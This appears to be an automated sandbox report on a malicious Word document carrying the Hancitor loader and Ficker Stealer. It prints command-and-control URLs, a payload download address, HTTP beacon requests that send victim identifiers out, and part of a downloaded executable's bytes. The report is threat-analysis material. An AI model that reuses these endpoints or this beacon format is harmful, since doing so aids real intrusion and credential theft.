Play interactive tour

Edit tour

Windows Analysis Report 0708_3355614568218.doc

Overview

General Information

Sample Name:	0708_3355614568218.doc
Analysis ID:	446230
MD5:	992338b40b38f1f55bd4a9599f70771c
SHA1:	866086438592043aebb88f3da34ad437681a5cb0
SHA256:	b4d402b4ab3b5a5568f35562955d5d05357a589ccda55fde5a2c166ef5f15699
Tags:	docHancitormacrosMAN1MoskalvzapoeTA511
Infos:
Most interesting Screenshot:

Detection

Ficker Stealer Hancitor

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Suspect Svchost Activity

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected Ficker Stealer

Yara detected Hancitor

C2 URLs / IPs found in malware configuration

Contains functionality to inject threads in other processes

Document contains OLE streams with PE executables

Document contains an embedded VBA macro which may execute processes

Document contains an embedded VBA macro with suspicious strings

Document exploit detected (process start blacklist hit)

May check the online IP address of the machine

Office process drops PE file

Sigma detected: Microsoft Office Product Spawning Windows Shell

Sigma detected: Suspicious Svchost Process

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Instant Messenger accounts or passwords

Abnormal high CPU Usage

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Downloads executable code via HTTP

Drops PE files

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2672 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

rundll32.exe (PID: 2776 cmdline: 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2668 cmdline: 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR MD5: 51138BEEA3E2C21EC44D0932C71762A8)

svchost.exe (PID: 2716 cmdline: C:\Windows\System32\svchost.exe MD5: 54A47F6B5E09A77E61649109C6A08866)

cleanup

Malware Configuration

Threatname: Hancitor

{"Campaign Id": "0707_wvcr", "C2 list": ["http://sudepallon.com/8/forum.php", "http://anspossthrly.ru/8/forum.php", "http://thentabecon.ru/8/forum.php"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2143615894.00000000003A0000.00000040.00000001.sdmp	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
Process Memory Space: svchost.exe PID: 2716	JoeSecurity_Ficker_Stealer_1	Yara detected Ficker Stealer	Joe Security
Process Memory Space: rundll32.exe PID: 2668	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
3.3.rundll32.exe.3a4392.0.unpack	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
3.3.rundll32.exe.3a4392.0.unpack	Hancitor	Hancitor Payload	kevoreilly	0x56f:$decrypt3: 8B 45 FC 33 D2 B9 08 00 00 00 F7 F1 8B 45 08 0F BE 0C 10 8B 55 08 03 55 FC 0F BE 02 33 C1 8B 4D ...
3.3.rundll32.exe.3a4392.0.raw.unpack	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
3.3.rundll32.exe.3a4392.0.raw.unpack	Hancitor	Hancitor Payload	kevoreilly	0x116f:$decrypt3: 8B 45 FC 33 D2 B9 08 00 00 00 F7 F1 8B 45 08 0F BE 0C 10 8B 55 08 03 55 FC 0F BE 02 33 C1 8B 4D ...
3.2.rundll32.exe.2110000.6.unpack	JoeSecurity_Hancitor	Yara detected Hancitor	Joe Security
3.2.rundll32.exe.2110000.6.unpack	Hancitor	Hancitor Payload	kevoreilly	0x116f:$decrypt3: 8B 45 FC 33 D2 B9 08 00 00 00 F7 F1 8B 45 08 0F BE 0C 10 8B 55 08 03 55 FC 0F BE 02 33 C1 8B 4D ...
Click to see the 1 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: C:\Windows\System32\svchost.exe, CommandLine: C:\Windows\System32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 2668, ProcessCommandLine: C:\Windows\System32\svchost.exe, ProcessId: 2716

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR, CommandLine: 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR, CommandLine|base64offset|contains: , Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ParentProcessId: 2672, ProcessCommandLine: 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR, ProcessId: 2776

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\System32\svchost.exe, CommandLine: C:\Windows\System32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 2668, ProcessCommandLine: C:\Windows\System32\svchost.exe, ProcessId: 2716

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000003.00000003.2143615894.00000000003A0000.00000040.00000001.sdmp

Malware Configuration Extractor: Hancitor {"Campaign Id": "0707_wvcr", "C2 list": ["http://sudepallon.com/8/forum.php", "http://anspossthrly.ru/8/forum.php", "http://thentabecon.ru/8/forum.php"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: srand04rf.ru	Virustotal: Detection: 13%			Perma Link
Source: pospvisis.com	Virustotal: Detection: 12%			Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: 0708_3355614568218.doc

Virustotal: Detection: 37%

Perma Link

Source: 3.2.rundll32.exe.2110000.6.unpack

Avira: Label: TR/Hijacker.Gen

Location Tracking:

Yara detected Hancitor

Show sources

Source: Yara match	File source: 3.3.rundll32.exe.3a4392.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.3a4392.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2110000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.2143615894.00000000003A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2668, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02112CD0 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	3_2_02112CD0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02112D17 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	3_2_02112D17
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02112D98 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	3_2_02112D98
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02112D55 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	3_2_02112D55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02112D78 CryptDestroyHash,CryptDestroyKey,CryptReleaseContext,	3_2_02112D78
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0040BAB5 CryptUnprotectData,	5_2_0040BAB5

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: c:\equate\717\862\Kil\Turn\design.pdb source: rundll32.exe, 00000003.00000002.2346397243.000000000213D000.00000002.00020000.sdmp, 0708_3355614568218.doc

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Local\Temp\nimb.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Local\Temp\nimb.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Local\Temp\nimb.dll	Jump to behavior

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: nimb.dll.0.dr

Jump to dropped file

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Windows\System32\rundll32.exe

Source: global traffic

DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 50.19.92.227:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 50.19.92.227:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031074 ET TROJAN Win32/Ficker Stealer Activity 95.213.179.67:80 -> 192.168.2.22:49172
Source: Traffic	Snort IDS: 2031132 ET TROJAN Win32/Ficker Stealer Activity M3 192.168.2.22:49172 -> 95.213.179.67:80
Source: Traffic	Snort IDS: 2031074 ET TROJAN Win32/Ficker Stealer Activity 95.213.179.67:80 -> 192.168.2.22:49178
Source: Traffic	Snort IDS: 2031132 ET TROJAN Win32/Ficker Stealer Activity M3 192.168.2.22:49178 -> 95.213.179.67:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://sudepallon.com/8/forum.php
Source: Malware configuration extractor	URLs: http://anspossthrly.ru/8/forum.php
Source: Malware configuration extractor	URLs: http://thentabecon.ru/8/forum.php

May check the online IP address of the machine

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: name: api.ipify.org
Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: name: api.ipify.org
Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: name: api.ipify.org
Source: C:\Windows\SysWOW64\svchost.exe	DNS query: name: api.ipify.org
Source: C:\Windows\SysWOW64\svchost.exe	DNS query: name: api.ipify.org
Source: C:\Windows\SysWOW64\svchost.exe	DNS query: name: api.ipify.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 09 Jul 2021 01:07:42 GMTContent-Type: application/octet-streamContent-Length: 272910Connection: keep-aliveLast-Modified: Wed, 09 Jun 2021 16:00:40 GMTETag: "60c0e5a8-42a0e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 00 00 00 00 00 2a 04 00 00 00 00 00 e0 00 2f 03 0b 01 02 1e 00 50 03 00 00 26 04 00 00 06 00 00 80 14 00 00 00 10 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 04 00 00 04 00 00 81 81 04 00 02 00 00 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 04 00 a4 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 9b 03 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 52 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 4f 03 00 00 10 00 00 00 50 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 38 00 00 00 00 60 03 00 00 02 00 00 00 54 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 a8 2d 00 00 00 70 03 00 00 2e 00 00 00 56 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2f 34 00 00 00 00 00 00 14 90 00 00 00 a0 03 00 00 92 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 62 73 73 00 00 00 00 40 04 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 a4 0e 00 00 00 50 04 00 00 10 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 60 04 00 00 02 00 00 00 26 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 70 04 00 00 02 00 00 00 28 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 50.19.92.227 50.19.92.227
Source: Joe Sandbox View	IP Address: 77.222.42.67 77.222.42.67

Source: Joe Sandbox View

ASN Name: SWEB-ASRU SWEB-ASRU

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 105Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 30 2e 30 2e 30 2e 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=0.0.0.0&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: GET /7hfjsdfjks.exe HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: srand04rf.ruCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /?format=xml HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
